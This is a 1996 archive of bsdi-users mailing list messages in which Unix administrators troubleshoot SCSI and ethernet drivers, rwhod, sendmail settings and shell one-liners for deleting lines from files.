Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1170" "Tue" "19" "November" "1996" "17:27:42" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "35" "Re: SCSI Adapter Not seen by BSDI " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA04468 for ; Tue, 19 Nov 1996 19:29:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA12672 for bsdi-users-outgoing; Tue, 19 Nov 1996 19:27:55 -0500 (EST) Message-Id: <199611200027.RAA06830@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Tue, 19 Nov 1996 13:15:22 CST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: jerry cc: bsdi-users@BSDI.COM Subject: Re: SCSI Adapter Not seen by BSDI Date: Tue, 19 Nov 1996 17:27:42 -0700 jerry writes: >We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU >SCSI controller. We are unable to get BSDI to recognize it. I can not find >in the KERNEL where we define this adapter, yet the lizard book seems to >imply that it is supported. When we boot, there are no hardware conflicts >mentioned, and the adapter is NOT displayed as found. > > Questions: > > 1. Is the Adaptec AHA-2940AU actually supported? > > 2. If supported, does anyone know what changes need to be made to > the KERNEL (or other) in order to get BSDI to see it? > >Thanks! > >Jerry > >+-----------------------------------------+ >| Jerry Callahan - jerry@iconnect.net | >| I Connection, Inc. | >| Lake County/Waukegan IL's connection to | >| the Internet! | >| 847/662-0877 (Voice) 847/662-0325 (FAX) | >+-----------------------------------------+ > Jerry: Try interrupting the boot by pressing a key. At the 'Boot:' prompt enter the command '-dev aic0 flags=0x1'. At the following 'Boot:' prompt press 'enter'. This will force the kernel to use the aic driver. (See man 4 aic) -Bill N From VM Tue Nov 19 20:19:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2707" "Tue" "19" "November" "1996" "17:23:05" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "62" "Re: 100Mb Ethernet Woes. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA04476 for ; Tue, 19 Nov 1996 19:30:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA12637 for bsdi-users-outgoing; Tue, 19 Nov 1996 19:23:33 -0500 (EST) Message-Id: <199611200023.RAA06815@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Fri, 15 Nov 1996 12:58:53 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Brad Senff cc: bsdi-users@BSDI.COM Subject: Re: 100Mb Ethernet Woes. Date: Tue, 19 Nov 1996 17:23:05 -0700 Brad Senff writes: > > Well, I am trying to make the jump, from 10Mb to 100Mb. I have >gone through all kinds of problems finding the right cards, been thru the >"yeah the 3com 3c905 is IDENTICAL to the 3c595" routine (fyi, it is NOT), >been thru the "Nope, can't get those 3c595's anymore" routine, even tried >the SMC's listed in the ol' BSDi manual. No luck. No matter what I did I >couldn't get them to recognize. Finally, I tried the DEC DE500. I can get >it to recognize, right out of the box. I checked dmesg, and all is well. >However when I try to get out of the box it fails. The computer is linked >to a 100Mb ethernet HUB, (Compex 1208TX). I know the hub and the downlink >to my 10Mb ethernet is fine, because when I went down the road of the >3c905's, they would work temporarily, then if the buffer filled, it would >lock. > > I saw in the archive that the de500 requires you to choose the >WRONG type of ethernet when doing the config_netstart, so I tried that, no >such luck. No matter what I do, it seems that the bsdi 2.1 boxes do not >like 100Mbit. > > So, if any of you out there has a de500 in a box working great (at >100Mbit, hell even at 10Mbit at this point) please forward me a copy of >your dmesg, and netstart files, and any wisdom you may have relating to >the above. > >-a very frustrated person who believes that 100Mbit is a myth- > >================================================================== >== Brad Senff brad@inficad.com == >== System Administrator Check out the web site: == >== Inficad Computing and Design http://www.inficad.com == >== "Ignorance is the art of not recalling the information == >== you have not learned yet." == >================================================================== > Brad: Patch U210-003 fixes config_netstart so that you don't have to choose the WRONG type of ethernet. You might also want to install K210-023, and build a new kernel. It brings the de500 driver up-to-date. The linkarg link0 is the 10/100 switch (the man page for de talks about IFF_LINK0). But it is not clear to me whether you want linkarg=link0 or linkarg=-link0 in /etc/netstart. Check the linkargs by entering the command: # ifconfig de0 de0: ether flags=a863 inet 205.230.224.27 netmask 0xffffff00 broadcast 205.230.224.255 If you see LINK0, as in this fake example, enter the command: # ifconfig de0 -link0 If you see -LINK0, enter: # ifconfig de0 link0 The kernel should print a message on the console about de0 changing to 100Mb. Then change the 'linkarg=' line in /etc/netscripts accordingly. -Bill N From VM Wed Nov 20 22:26:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["568" "Tue" "19" "November" "1996" "20:16" "EST" "John R. Levine" "johnl@iecc.com" nil "14" "Re: SCSI Adapter Not seen by BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA05551 for ; Tue, 19 Nov 1996 20:14:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA12759 for bsdi-users-outgoing; Tue, 19 Nov 1996 20:10:14 -0500 (EST) Message-Id: Newsgroups: local.bsdi In-Reply-To: <199611200027.RAA06830@tao.bsdi.com> Organization: I.E.C.C., Trumansburg, N.Y. Precedence: bulk From: johnl@iecc.com (John R Levine) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: SCSI Adapter Not seen by BSDI Date: Tue, 19 Nov 96 20:16 EST >>We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU >>SCSI controller. We are unable to get BSDI to recognize it. Get the latest boot floopy images from ftp.bsdi.com and try them. Kernel patches K210-011 and K210-017 update the Adaptec support and may well solve your problem. Once you're booted, install all the kernel patches and then make yourself a kernel that matches your hardware config. -- John R. Levine, IECC, POB 640 Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com "Space aliens are stealing American jobs." - MIT econ prof From VM Wed Nov 20 22:26:05 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["463" "Tue" "19" "November" "1996" "20:22:26" "-0500" "system3@infomine.net" "system3@infomine.net" nil "8" "An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA06094 for ; Tue, 19 Nov 1996 20:30:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA12816 for bsdi-users-outgoing; Tue, 19 Nov 1996 20:32:07 -0500 (EST) Message-Id: <199611200122.UAA06279@infomine.net> Precedence: bulk From: mazz Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: An easy way to remove a line from a file. Date: Tue, 19 Nov 1996 20:22:26 -0500 Guys & Gals, I'm looking for an easy way (hopefully a little c-shell command) that can be used to remove a line from a file. I keep a list of user names in a few different files. When I remove a user from my file setup I want to remove them from 2-3 different files. There's got to be an easy command or simple shell script that I can pass an email address to and it'll remove those users from all three files. Thanks in advance for the help. :-) Antonio From VM Wed Nov 20 22:26:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1454" "Tue" "19" "November" "1996" "21:02:08" "+0000" "Jay Lixfeld" "carrera@idirect.com" nil "43" "Re: ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA06924 for ; Tue, 19 Nov 1996 21:04:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA12920 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:01:34 -0500 (EST) X-Sender: carrera@localhost In-Reply-To: <199611192252.OAA28063@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM, jlixfeld@idirect.com Subject: Re: ruptime Date: Tue, 19 Nov 1996 21:02:08 +0000 () > The files are created by the "rwhod" daemon. Its usually commented out in > /etc/rc because it generates broadcasts every 30 seconds for each machine > its running on. This causes a lot of broadcasts on networks with hundreds > of machines. Nowadays you can use multicast to avoid that problem. Ok, It was already uncommented from rc, I just had to remove the line in sysconfig (I am doing it on my FreeBSD machine at home, so tomorrow at work I won't have so much trouble). When I re-started the system, I typed in ruptime after I logged in, and it said no hosts in /var/rwho. I need to know how and where to setup the host files that are suposed to be in /var/rwho that rwhod reads. > Actually, you probably want to look into tcl/tk/wish which can be used to generate > X applications with graphics that show the load average etc. Well, honestly, I'm not looking for anything fancy, just something text that will be effective to do what I want it to do. I don't need the graphics.. Would you know how I can setup a script? > Note that running it every 5 seconds is overkill as the rwhod daemon only sends out > packets every 30 seconds or so. Ahh.. well, 30 seconds is fine then! :) Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA -=- carrera@idirect.com From VM Wed Nov 20 22:26:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["645" "Tue" "19" "November" "1996" "21:22:57" "+0000" "Jay Lixfeld" "carrera@idirect.com" nil "28" "Re: ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA07463 for ; Tue, 19 Nov 1996 21:21:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA13014 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:22:13 -0500 (EST) X-Sender: carrera@localhost In-Reply-To: <199611192252.OAA28063@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Bill Webb cc: bsdi-users@BSDI.COM, jlixfeld@idirect.com Subject: Re: ruptime Date: Tue, 19 Nov 1996 21:22:57 +0000 () Also: I just noticed this when I restarted my system, this line in the startup: karma rwhod[77]: bind: address already in use. Any explainations? BTW: This is a dialup 28.8 from my home, and it's on a 100MB network at the office. Again, right now, I'm just trying to get the one on MY end working (the Dialup FreeBSD machine) so when I go to work, I can do it without any hitches. Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA -=- carrera@idirect.com From VM Wed Nov 20 22:26:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1409" "Tue" "19" "November" "1996" "21:26:49" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "38" "Re: SCSI Adapter Not seen by BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA07468 for ; Tue, 19 Nov 1996 21:22:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA13040 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:27:01 -0500 (EST) Message-Id: <199611200226.VAA20438@user2.mnsinc.com> In-Reply-To: <199611200027.RAA06830@tao.bsdi.com> from "Bill Nestlerode" at Nov 19, 96 05:27:42 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: billn@BSDI.COM (Bill Nestlerode) Cc: bsdi-users@BSDI.COM Subject: Re: SCSI Adapter Not seen by BSDI Date: Tue, 19 Nov 1996 21:26:49 -0500 (EST) > > jerry writes: > >We are running BSDI 2.1 and are trying to install an Adaptec AHA-2940AU > >SCSI controller. We are unable to get BSDI to recognize it. I can not find > >in the KERNEL where we define this adapter, yet the lizard book seems to > >imply that it is supported. When we boot, there are no hardware conflicts > >mentioned, and the adapter is NOT displayed as found. > > > > Questions: > > > > 1. Is the Adaptec AHA-2940AU actually supported? > > > > 2. If supported, does anyone know what changes need to be made to > > the KERNEL (or other) in order to get BSDI to see it? > > > >Thanks! > > > >Jerry > > > >+-----------------------------------------+ > >| Jerry Callahan - jerry@iconnect.net | > >| I Connection, Inc. | > >| Lake County/Waukegan IL's connection to | > >| the Internet! | > >| 847/662-0877 (Voice) 847/662-0325 (FAX) | > >+-----------------------------------------+ > > > Jerry: > Try interrupting the boot by pressing a key. At the 'Boot:' prompt enter the > command '-dev aic0 flags=0x1'. At the following 'Boot:' prompt press 'enter'. > This will force the kernel to use the aic driver. (See man 4 aic) Will this work for every boot or do you have to do that every time you boot? Also, is there anywhere in the kernal to specify that instead of putting in that Boot: command? Stephen From VM Wed Nov 20 22:26:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["650" "Tue" "19" "November" "1996" "21:43:46" "+0000" "Jim Cassata" "jim@web-ex.com" nil "21" "Apache install" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08002 for ; Tue, 19 Nov 1996 21:41:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA13060 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:37:04 -0500 (EST) Message-Id: <199611200241.VAA23317@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Apache install Date: Tue, 19 Nov 1996 21:43:46 +0000 Hello all, this may seem trivial, and if you want to reply to me instead of the list, that's fine. I have been running ncsa 1.5 server on my older box. On our new system, I decided to take your advice on apache. Installing 2.1 gave me apache 1.0.0, so I got 1.1.1. I read the install instructions, compiled no problem, but do not see what to do after compiling. can't seem to find the answer on their web site or in the install docs. What am I missing?? JIm "getting tired at the keyboard" Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Wed Nov 20 22:26:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1922" "Tue" "19" "November" "1996" "18:39:47" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "52" "Re: ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08011 for ; Tue, 19 Nov 1996 21:42:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA13071 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:45:13 -0500 (EST) Message-Id: <199611200239.SAA28559@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: carrera@idirect.com Cc: bsdi-users@BSDI.COM, jlixfeld@idirect.com Subject: Re: ruptime Date: Tue, 19 Nov 1996 18:39:47 -0800 (PST) > > > The files are created by the "rwhod" daemon. Its usually commented out in > > /etc/rc because it generates broadcasts every 30 seconds for each machine > > its running on. This causes a lot of broadcasts on networks with hundreds > > of machines. Nowadays you can use multicast to avoid that problem. > > Ok, It was already uncommented from rc, I just had to remove the line in > sysconfig (I am doing it on my FreeBSD machine at home, so tomorrow at > work I won't have so much trouble). When I re-started the system, I typed > in ruptime after I logged in, and it said no hosts in /var/rwho. > > I need to know how and where to setup the host files that are suposed to > be in /var/rwho that rwhod reads. rwhod creates the files in /var/rwho from packets it receives from rwhod daemons running on other machines. If you only have one machine you won't see much other than your own machine. You might want to use "ps" to make sure that rwhod is actually running. > > > Actually, you probably want to look into tcl/tk/wish which can be used to generate > > X applications with graphics that show the load average etc. > > Well, honestly, I'm not looking for anything fancy, just something text > that will be effective to do what I want it to do. I don't need the > graphics.. Would you know how I can setup a script? > > > Note that running it every 5 seconds is overkill as the rwhod daemon only sends out > > packets every 30 seconds or so. > > Ahh.. well, 30 seconds is fine then! :) > A /bin/sh script should do it: #! /binn/sh while : do # the clear is optional clear ruptime sleep 30 done put it into a file, chmod +x file and then you should be able to use it as a command. Use ^C to interrupt it. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Wed Nov 20 22:26:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1484" "Tue" "19" "November" "1996" "18:47:53" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "48" "Re: An easy way to remove a line from a file." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08281 for ; Tue, 19 Nov 1996 21:50:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA13092 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:53:07 -0500 (EST) Message-Id: <199611200247.SAA28571@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, system3@infomine.net Subject: Re: An easy way to remove a line from a file. Date: Tue, 19 Nov 1996 18:47:53 -0800 (PST) > > I'm looking for an easy way (hopefully a little c-shell command) that can be used to remove a line from a file. I keep a list of user names in a few different files. When I remove a user from my file setup I want to remove them from 2-3 different files. There's got to be an easy command or simple shell script that I can pass an email address to and it'll remove those users from all three files. > You can use any one of a number of tools. ed just construct a script and feed it into ed, e.g. ed file <<+ /^string/d w q + sed sed '/^string/d' file > file.new ; mv file.new file awk awk '/^string/ { next } ' file > file.new ; mv file.new file grep grep -v '^string/' file > file.new ; mv file.new file this assumes that you want to delete the line beginning with "string". If you don't want to change the file ownership or access modes you can change the command: mv file.new file to cp file.new file; rm file.new If you want to guard against having a string of "smith" deleting "smith2" you will need to change /^string/ to /^string$' or /^string / in the above scripts. In real life you'd have such a script in a file and pass in the arguments e.g. deluser smith and it would go through the various files. Details left as an exercise in shell programming. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Wed Nov 20 22:26:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["434" "Wed" "20" "November" "1996" "13:51:10" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "15" "Re: Sendmail: Patch and a problem" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08290 for ; Tue, 19 Nov 1996 21:51:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA13086 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:52:55 -0500 (EST) In-Reply-To: Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: Sendmail: Patch and a problem Date: Wed, 20 Nov 1996 13:51:10 +1100 (EST) On Tue, 19 Nov 1996, Henry Spencer wrote: [ On disabling EXPN and VRFY ] > Note, in fact, that they are mandatory parts of SMTP -- disabling them > violates the standard. But note that most Sendmails allow one to prohibit their use unless a HELO has been received. -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Wed Nov 20 22:26:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["399" "Wed" "20" "November" "1996" "13:26:17" "+1030" "David Newall" "davidn@rebel.net.au" nil "11" "Re: ps -aux bizareness" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08294 for ; Tue, 19 Nov 1996 21:53:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id VAA13110 for bsdi-users-outgoing; Tue, 19 Nov 1996 21:56:37 -0500 (EST) Message-Id: <199611200256.NAA07402@rebel.net.au> In-Reply-To: from "Sherwood Pekelo" at Nov 19, 96 01:19:43 am Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: ps -aux bizareness Date: Wed, 20 Nov 1996 13:26:17 +1030 (CST) Roch Pageau wrote: > I did a ps -aux this morning and got this fisrt entry dated Dec 31 1969. > > USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND > root 7356 0.0 0.0 220 12 p0 RV 31Dec69 0:00.00 (csh) I assume this process has a start time of 0 (c.f. time(2)); but how does that come to be? [Standard disclaimer: These are my private opinions] From VM Wed Nov 20 22:26:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1113" "Tue" "19" "November" "1996" "18:56:28" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "25" "UTP connector wiring" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA08300 for ; Tue, 19 Nov 1996 21:59:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA13121 for bsdi-users-outgoing; Tue, 19 Nov 1996 22:01:39 -0500 (EST) Message-Id: <199611200256.SAA28591@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: UTP connector wiring Date: Tue, 19 Nov 1996 18:56:28 -0800 (PST) Is anybody able to tell me what the wiring of the RJ45 plug is for UTP cables? I've got a transciever that converts from BNC (which is how I've wired my home-office), and my notebook has a new PCMCIA UTP ethernet card that I want to use. The problem is that while I've got a cross-connected UTP cable, the PCMCIA card comes with its own cable with a male plug, and when I put a Female-Female connector between them I lose most (but not all) packets. I think it must be the connector doing it because if I move the notebook to my "computer room" where I have a hub and directly connect it works fine. Also, when using the cross-connected cable with another PCMCIA UTP ethernet card it works just fine (under Win95 - sigh). If I can determine what wires to cross I can cut the cable and make it into a cross-connect cable and hopefully everything will then work and I can use the same card under both BSD/OS and Win95. Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Wed Nov 20 22:26:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1117" "Tue" "19" "November" "1996" "19:09:23" "-0800" "Bill Webb" "webb@webb-home.chelmsford.telebit.com" nil "29" "Re: ruptime" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA08837 for ; Tue, 19 Nov 1996 22:16:03 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA13146 for bsdi-users-outgoing; Tue, 19 Nov 1996 22:15:14 -0500 (EST) Message-Id: <199611200309.TAA28648@webb-home.chelmsford.telebit.com> Precedence: bulk From: Bill Webb Sender: owner-bsdi-users@lists.gateway.com To: carrera@idirect.com Cc: bsdi-users@BSDI.COM, jlixfeld@idirect.com Subject: Re: ruptime Date: Tue, 19 Nov 1996 19:09:23 -0800 (PST) > Also: I just noticed this when I restarted my system, this line in the > startup: > > karma rwhod[77]: bind: address already in use. That indicates that either you already had an rwhod running, or something else is using rwhod's port. > > Any explainations? BTW: This is a dialup 28.8 from my home, and it's on > a 100MB network at the office. Again, right now, I'm just trying to get > the one on MY end working (the Dialup FreeBSD machine) so when I go to > work, I can do it without any hitches. > Note that by default rwhod uses broadcasts, which generally don't get routed by routers of the particular LAN segment. You shouldn't expect to see hosts on your work network from home unless you're using a bridge rather than a router. If you configure rwhod to use multicasts then you should be able to get it to route it to remote networks (depending upon your exact connection mechanism and how its configured). Bill Webb. Telebit NetBlazer Software Development Group Email: webb@telebit.com WWW: http://www.telebit.com/~webb -- above opinions are my own, not necessarily those of my employer -- From VM Wed Nov 20 22:26:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["458" "Mon" "16" "September" "1996" "22:35:55" "-0500" "Donald Dahlman" "druid@eoe-magical.org" nil "9" "ttys & gettytab" "^From:" nil nil "9" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA09382 for ; Tue, 19 Nov 1996 22:38:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA13202 for bsdi-users-outgoing; Tue, 19 Nov 1996 22:40:37 -0500 (EST) Message-ID: <323E1C96.3401@eoe-magical.org> X-Mailer: Mozilla 3.0b6Gold (Win95; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: Donald Dahlman Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ttys & gettytab Date: Mon, 16 Sep 1996 22:35:55 -0500 Well I have tried many a thing, changing the ttys, and gettytab and still cannot get modems to work correctly. Unless I change the remote tty01, the gettytab default, and the ttys tty01 to all the same thing, I can not establish communication. Am I missing something here, I even changed the modem on com port #2 to a different type, and the problem contiunes. Any one want to donate a ttys, gettytab, and remote the is using a standard com port 2. Thanks. From VM Wed Nov 20 22:26:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["589" "Tue" "19" "November" "1996" "23:07:39" "-0500" "Alan B. Clegg" "abc@gateway.com" nil "14" "Running on a Dual Pentium system" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA10187 for ; Tue, 19 Nov 1996 23:08:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA13272 for bsdi-users-outgoing; Tue, 19 Nov 1996 23:08:03 -0500 (EST) X-Authentication-Warning: black-ice.gateway.com: abc owned process doing -bs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "Alan B. Clegg" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Running on a Dual Pentium system Date: Tue, 19 Nov 1996 23:07:39 -0500 (EST) I've got a client that is preparing to move from SCO to BSDi (yay!). One of their systems is a dual Pentium, and I don't know how BSDi (2.1) is going to handle that. Will I need to disable (via Setup or pulling the chip) the second processor, or will it just be ignored? Is anyone running in this environment? -abc | Death, Taxes, and Liberals will always be with us. | Alan B. Clegg At least Death never gets any worse. | gateway.com, inc. | From VM Wed Nov 20 22:26:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["386" "" "20" "November" "1996" "02:54:27" "GMT" "Wayne Bouchard" "web@typo.org" nil "11" "Re: 2 Gig IDE HD under 2.1?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA10192 for ; Tue, 19 Nov 1996 23:08:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA13258 for bsdi-users-outgoing; Tue, 19 Nov 1996 23:04:57 -0500 (EST) Path: web Newsgroups: info.bsdi.users Organization: typo.org Lines: 11 Message-ID: <56trt3$g88@typo.org> References: NNTP-Posting-Host: typo.org Precedence: bulk From: Wayne Bouchard Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: 2 Gig IDE HD under 2.1? Date: 20 Nov 1996 02:54:27 GMT Jeff Campbell wrote: : I just purchased 2.1 and I haven't installed it : yet. The machine it is being installed on has a 2 Gig (or slightly : larger) IDE disk. : I have heard in the past of problems with IDE disks this size, and : the OS. Are there any problems under 2.1 that relate to this? Got multiple systems with such drives... no problems at all. From VM Wed Nov 20 22:26:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2270" "Wed" "20" "November" "1996" "15:08:28" "+1100" "ian mcwilliam" "i.mcwilliam@st.nepean.uws.edu.au" nil "57" "Re: Putting user directories in nosuid filesystems (Exploit for sendmail smtpd" 